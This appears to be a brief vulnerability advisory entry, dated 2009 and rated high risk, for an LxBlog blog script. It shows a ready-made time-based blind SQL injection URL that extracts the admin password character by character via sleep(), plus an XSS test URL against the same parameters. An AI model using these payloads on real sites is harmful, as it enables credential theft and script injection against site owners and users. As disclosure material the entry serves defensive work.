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SQL注入测试:
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//判断uid=1的用户的密码第一位的ASCII值是否大于0
http://blog.xxx.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*
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XSS测试:
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http://www.lxblog.net/user_index.php?action=tag&job=modify&type=[XSS]&item_type[]=[XSS]
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Data
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08 May 2009 00:00Current
7.1High risk
Vulners AI Score7.1